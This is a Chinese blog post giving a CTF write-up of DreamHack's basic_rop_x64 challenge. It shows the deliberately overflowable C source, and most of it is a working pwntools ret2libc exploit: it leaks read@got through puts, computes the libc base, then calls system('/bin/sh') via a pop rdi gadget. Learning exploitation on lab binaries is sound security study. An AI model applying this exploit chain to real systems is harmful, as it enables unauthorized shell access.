【How2Pwn】DreamHack x64下的ROP问题

已于 2022-09-17 15:37:40 修改
阅读量914 收藏 1
点赞数
分类专栏： How2Pwn 文章标签： 系统安全 c语言
于 2022-09-04 21:33:18 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Jeongon/article/details/126690783
版权

0x00 代码

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

题目链接

0x01 代码状态

$ checksec ./basic_rop_x64
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/basic_rop_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以看到这次是64位环境下的问题，而32位和64位最大的不同就是函数调用时采用的是不同的规则，64位是先将先将数据存入寄存器，如果寄存器不够用再调用stack。32位则是直接利用stack来保存必要的数据。

寄存器如下
rax -> 通常用于储存函数调用返回的结果
rbx
rcx -> 第4个参数
rdx -> 第3个参数
rsi -> 传递函数第2个参数
rdi -> 传递函数第1个参数
-------------------------------------------- 通用寄存器
rbp -> 当前栈帧起始位置，通常指向栈底
rsp -> 堆栈指针寄存器，通常指向栈顶
r8 -> 第5个参数
r9 -> 第6个参数
r10
r11
…

比较特殊的
rip -> 存放下一条指令的偏移地址
rsp -> 存放当前栈帧的栈顶偏移地址
rbp -> 存放当前栈帧的栈底偏移地址
rax -> 通用寄存器，存放返回值

另外，可以发现这段代码没有开启canary和PIE，只开启了NX。这意味这我们很难使用shellcode的方式得到shell，所以还是使用ROP的方式进行。由于程序没有开启RELRO，所以GOT表是有write权限的，意味着我们也可以使用GOT overwrite方法来取得shell。这里先使用计算system函数并且直接呼出的办法进行ROP。

0x02 分析

1. system函数没有记录

和上一个题目不同，之前没有调用过system函数（大部分时候也不会），所以我们要想办法求出system函数的地址。至于"/bin/sh"要怎么得到，需要思考一下。

2. 存在overflow漏洞

0x03 设计Exploit

1. Overflow

通过gdb找到 buf 的地址

   0x00000000004007e7 <+45>:	lea    rax,[rbp-0x40]   <---在这里
   0x00000000004007eb <+49>:	mov    edx,0x400
   0x00000000004007f0 <+54>:	mov    rsi,rax
   0x00000000004007f3 <+57>:	mov    edi,0x0
   0x00000000004007f8 <+62>:	call   0x4005f0 <read@plt>

2. 求system函数地址

题目给了一个库"libc.so.6"，而我们需要的system函数也在这个库中。不只是system函数，这个库中还包含了read, printf, write等一系列函数。这里需要注意一点，库在映射到内存的过程中是以整体的形式进行，也就是说虽然不清楚库的位置，但是库内函数的距离是不会随着映射而改变的。所以需要利用这一点，通过其他函数来求出库的偏移量，从而计算出system函数的地址。

3. 返回main，用第二次read函数执行system(“/bin/sh”)

因为这个程序只有一次使用read函数的机会，所以我们发送一段payload计算出system函数地址之后要返回main函数。重新执行第二个payload，最后通过使用system和"/bin/sh"来获得shell。

0x04 编写Exploit

1. Overflow

在read函数调用时，输入0x40+0x8(sfp)来达到ret地址。

2. 计算system函数地址

源代码中调用过read函数，也就是说read函数被记录在got表中的，我们可以利用read函数在got表中的地址减去在库中read函数的地址得到库整体的偏移量。但是首先要找到一个合适的函数输出read@got。用 info func 指令查看程序包含的函数。

$ info func
0x0000000000400590  _init
0x00000000004005c0  puts@plt          <---这里
0x00000000004005d0  write@plt
0x00000000004005e0  alarm@plt
0x00000000004005f0  read@plt
0x0000000000400600  __libc_start_main@plt
0x0000000000400610  signal@plt
0x0000000000400620  setvbuf@plt
0x0000000000400630  exit@plt
0x0000000000400640  __gmon_start__@plt
0x0000000000400650  _start
0x0000000000400680  deregister_tm_clones
0x00000000004006c0  register_tm_clones
0x0000000000400700  __do_global_dtors_aux
0x0000000000400720  frame_dummy
0x0000000000400746  alarm_handler
0x000000000040075e  initialize
0x00000000004007ba  main             <---这里
0x0000000000400820  __libc_csu_init
0x0000000000400890  __libc_csu_fini
0x0000000000400894  _fini

可以用于输出的函数有 write 和 puts 两个，但是write需要三个变量才能调用，而puts只用一个变量就可以，比较方便。所以我们用puts函数对read@got进行输出。

write(int fd,const void*buf,size_t count);
puts(const char *string);

决定了需要用到的函数之后，在info func，可以找到puts@plt，main。在read函数之后设置断点，再输入got查看got表，找到read@got的地址。

pwndbg> got

GOT protection: Partial RELRO | GOT functions: 8
 
[0x601018] puts@GLIBC_2.2.5 -> 0x4005c6 (puts@plt+6) ◂— push   0 /* 'h' */
[0x601020] write@GLIBC_2.2.5 -> 0x4005d6 (write@plt+6) ◂— push   1
[0x601028] alarm@GLIBC_2.2.5 -> 0x7ffff7ea5d90 (alarm) ◂— endbr64 
[0x601030] read@GLIBC_2.2.5 -> 0x7ffff7ed0fc0 (read) ◂— endbr64             <---这里
[0x601038] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7de6f90 (__libc_start_main) ◂— endbr64 
[0x601040] signal@GLIBC_2.2.5 -> 0x7ffff7e05f00 (ssignal) ◂— endbr64 
[0x601048] setvbuf@GLIBC_2.2.5 -> 0x7ffff7e47ce0 (setvbuf) ◂— endbr64 
[0x601050] exit@GLIBC_2.2.5 -> 0x400636 (exit@plt+6) ◂— push   7

最后一步就是需要找到我们需要的gadget

$ ROPgadget --binary ./basic_rop_x64 --re "pop rdi"
Gadgets information
============================================================
0x0000000000400883 : pop rdi ; ret

Unique gadgets found: 1

第一段payload

from pwn import *
p = process("./basic_rop_x64")

libc = ELF('./libc.so.6')

main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030

#overflow
payload = b'A'*0x48

#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)

p.send(payload)

sleep(1)

#[2]libc base and system
print(p.recvuntil('A'*0x40))

# 通过查看库中函数的地址可以知道，前两位都是由\x00构成
read = u64(p.recvn(6)+b'\x00\x00') 
print("leak --> "+ str(hex(read)))

lb = read - libc.symbols['read']
print("libc base --> "+ str(hex(lb)))

system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))

binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+ str(hex(binsh)))

看一下运行的结果

$ python ex_x64.py
[+] Starting local process './basic_rop_x64': pid 2495
[*] '/home/--/workspace/dreamhack/ASLR_NX/rop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
ex_x64.py:23: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  print(p.recvuntil('A'*0x40))
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
leak --> 0x7fae68666fc0
libc base --> 0x7fae68592c70
system --> 0x7fae685cd5b0
binsh --> 0x7fae686ebc9b

第二段payload

overflow之后返回system(“/bin/sh”)从而得到shell。

#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.send(payload2)
p.interactive()

0x05 Exploit

from pwn import *
p = process("./basic_rop_x64")

libc = ELF('./libc.so.6')

main = 0x4007ba
pop_rdi = 0x400883
puts_plt = 0x4005c0
read_got = 0x601030

#overflow
payload = b'A'*0x48

#[1]puts("read_got") and return to main
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt) + p64(main)

p.send(payload)

sleep(1)

#libc base
print(p.recvuntil('A'*0x40))

read = u64(p.recvn(6)+b'\x00\x00')
print("leak --> "+str(hex(read)))

lb = read - libc.symbols['read']
print("libc base --> "+str(hex(lb)))

system = lb + libc.symbols['system']
print("system --> " + str(hex(system)))

binsh = lb + list(libc.search(b"/bin/sh"))[0]
print("binsh --> "+str(hex(binsh)))

#system(binsh)
payload2 = b'B'*0x48
payload2 += p64(pop_rdi)
payload2 += p64(binsh)
payload2 += p64(system)

p.send(payload2)
p.interactive()

有不到位的或是错误的地方，请直接评论或者私信我。

参考资料
Exploit思路
write函数解析
puts函数解析

头都大了了
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
X64之ROP
amae_coder的博客
04-10 619
实验步骤： 首先拿到文件先看看有没有什么栈保护 因为在生成文件的时候我们就已经关掉了地址随机化，所以这里并没有什么栈保护 将文件拖入IDA中进行反编译，然后静态分析 这里有先写入hello world ,然后又进入了vulnerable_function函数，我们进入函数看看 我们发现用到了read函数，这里用到的是rbp定位，而它读了200个，实际rbp到ret只有（80...
Pwn 学习 question_5 x64ROP编程
MrTreebook的博客
04-30 507
Pwn 学习 question_5 x64ROP编程1.源代码2.编译x86x643.x863.1.确定溢出量3.2.布栈3.2.1.第一次溢出3.2.2.计算libc_base3.2.3.第二次溢出3.3.exp4.x644.1.确定溢出量4.2.布栈4.2.1.第一次布栈4.2.2.计算偏移4.2.3.第二次布栈4.3.exp 1.源代码 #include<stdio.h> #include<stdlib.h> #include<unistd.h> int dofun
rop x64分析记录
inquisiter
12-30 557
rop x64分析记录##!c #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <dlfcn.h>void systemaddr() { void* handle = dlopen("libc.so.6", RTLD_LAZY); printf("%p\n",dlsym(handle,"syste
[PWN][高级篇]ROP-ret2libc-32/64位实例 （共四个）
网络安全知识分享
03-28 4430
ROP-ret2libc-32实例 32位思路： 1、想办法调用execve("/bin/sh",null,null) 2、传入字符串/bin///sh 3、体统调用execve eax = 11 ebx = bin sh_addr ecx = 0 edx = 0 int 0x80 实例代码如下： 接下来我们检查保护 我们看到是有NX保护，没有canary和pie保护，我们使用ROP进行绕过。关键在于如何获取system 和 /bin/sh。 objdump -d -j .plt
RCTF 2015 welpwn [ROP] [x64通用gadgets] [简单写法]
ACdream
01-26 372
https://blog.csdn.net/u011987514/article/details/70232881 按照自己习惯，代码重写一下： #!/usr/bin/env python # coding=utf-8 from pwn import * io = process("./welpwn") #gadgets p4r = 0x40089C pr = 0x4008A3 mai...
pwn学习资料整理——ROP技术（pwn_rop2）
08-30
pwn学习资料整理——ROP技术（pwn_rop2）
pwn-x64-printf泄露题目
08-04
x64 printf回显漏洞
pwn学习资料整理——ROP技术（pwn_rop1）
08-30
pwn学习资料整理——ROP技术（pwn_rop1）
rOpbaby-CTFPWN ROP练习题
08-21
DefConCTF 2015 Quals CTFPWN ROP练习题 可用于练习基础的ROP
17ret2libc1_64 pwn 入门题
02-11
pwn 入门题
蒸米ROP_X64学习总结
Gtooler的博客
10-09 1954
X86与X64 x86中参数都是存在栈上，但在x64中的前六个参数依次存在RDI，RSI，RDX，RCX，R8、R9中，如果还有更多的参数的话才会存在栈上 level3(ROP简单绕过NX) 发现有栈溢出 找到system(/bin/sh) 把这个函数写入栈中就ok了 exp如下 #!/usr/bin/env python3 from pwn import * p = process("./level3") payload = b"a" * 136 + p64(0x0000000000400584)
64位ROP（level5）
weixin_44642009的博客
04-06 1427
64位ROP 开始接触的ROP都是针对于32位，和64位的比起来，主要是编址以及函数传参的方式不一样，32位的传参是直接将其压入栈中，我们便可以通过覆盖返回地址的方法，对函数的跳转进行控制而达到我们的目的，而64位的传参首先是使用六个寄存器，其次更多的参数压入栈中，其参数存放寄存器的顺序依次是rdirdirdi,rsirsirsi,rdxrdxrdx,rcxrcxrcx,r8dr8dr8d,r9d...
64位ROP——通用gadget
qq_44759495的博客
04-09 2837
原理与目的 程序在编译的时候会加入一些通用函数来进行初始化操作，所以可以针对初始化函数来提取一些通用的gadget，通过泄露某个在libc中的内容在内存中的实际地址，通过计算偏移量来得到system和bin/sh的地址，然后利用返回指令ret连接代码，最终getshell。 实验步骤 chechsec命令检查是否有canary保护 图中显示并没有，如果有的话，就先进行泄露。 IDA反汇编 int...
PWN入门（5）32位程序与64位程序和构造ROP链
Ba1_Ma0的博客
09-12 1625
pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的，PWN 也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用。
一步一步学习ROP之linux-x64
zsj2102的专栏
11-17 998
0x00 序 ROP的全称为Return-oriented programming（返回导向编程），这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御（比如内存不可执行和代码签名等）。上次我们主要讨论了linux_x86的ROP攻击。 一步一步学ROP之linux_x86篇 http://drops.wooyun.org/tips/6597 在这次的教程中我们会带来上一篇的
64位栈溢出简单rop与简单例题的复现
goat_2003的博客
09-18 647
首先还是找到关键函数 可以看到有read栈溢出漏洞，有system函数，查看字符串，还可以看到"/bin/sh",既然这样，我们便可以一步到位直接通过rop将/bin/sh装入system函数中getshell。 如何通过rop实现传参呢？64位ELF是通过寄存器存放参数的，所以我们要想办法将/bin/sh放入rdi中并紧接着调用system函数。 那么该如何实现呢？我们假设一下，先通过pop edi将/bin/sh的地址压入edi中，然后再执行ret，并将此时的esp所指向栈空间的值改为system函数
rop、64位程序中参数传递及栈溢出利用
RKAnjia的博客
11-24 818
ctf64位程序中参数传递及栈溢出利用rop 64位程序中参数传递及栈溢出利用 32位程序参数传递是直接弹出栈顶元素作为参数，而64位程序通过edi寄存器传参；因此在栈溢出漏洞利用的步骤为： 找到“pop edi\rdi;ret;”语句、system函数和“bin/sh”字符串的地址，输入数据：【填满栈空间的数据+覆盖edb的数据（32位大小为4h，64位大小为8h）+“pop edi\rdi;ret;”语句的地址+“bin/sh”字符串的地址+system函数的地址】。 具体执行过程： 子函数调用结束时，
深入探究64位rop链构造，wp中常见的万能gadgets详解| 攻防世界pwn进阶区welpwn
Kni9hT's Blog
03-20 1659
文章目录前言思路分析0x00.检查保护机制0x01.找到溢出点0x02.跳过echo在buf上构造rop0x03.选择合适的gadgets0x04.万能的通用gadgets利用过程使用DynELF使用LibcSearcher 前言 这一题做的时间跨度比较长了，断断续续做了一天多，然后尝试了两种方式，一种是DynELF泄露system地址，还有一种是利用python的LibcSearcher模块得到...
iOS冰与火之歌 – Objective-C Pwn and iOS arm64 ROP
Kiven's Program Space
08-17 1295
原文地址：http : //drops.wooyun.org/papers/12355 0x00序 冰指的是用户态，火指的是内核态。如何突破像冰箱一样的用户态沙盒最终到达并控制如火焰一般燃烧的内核就是“iOS的冰与火之歌”这一系列文章将要讲述的内容目录如下： Objective-C Pwn和iOS arm64 ROP██████████████████████████
arm64 的 rop 实现
最新发布
03-31
ROP（Return Oriented Programming）是一种攻击技术...需要注意的是，由于ARM64架构中的指令是64位的，因此在构造ROP链时需要使用64位的地址和指令。另外，在实现ROP攻击时，还需要考虑栈保护和ASLR等安全机制的影响。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值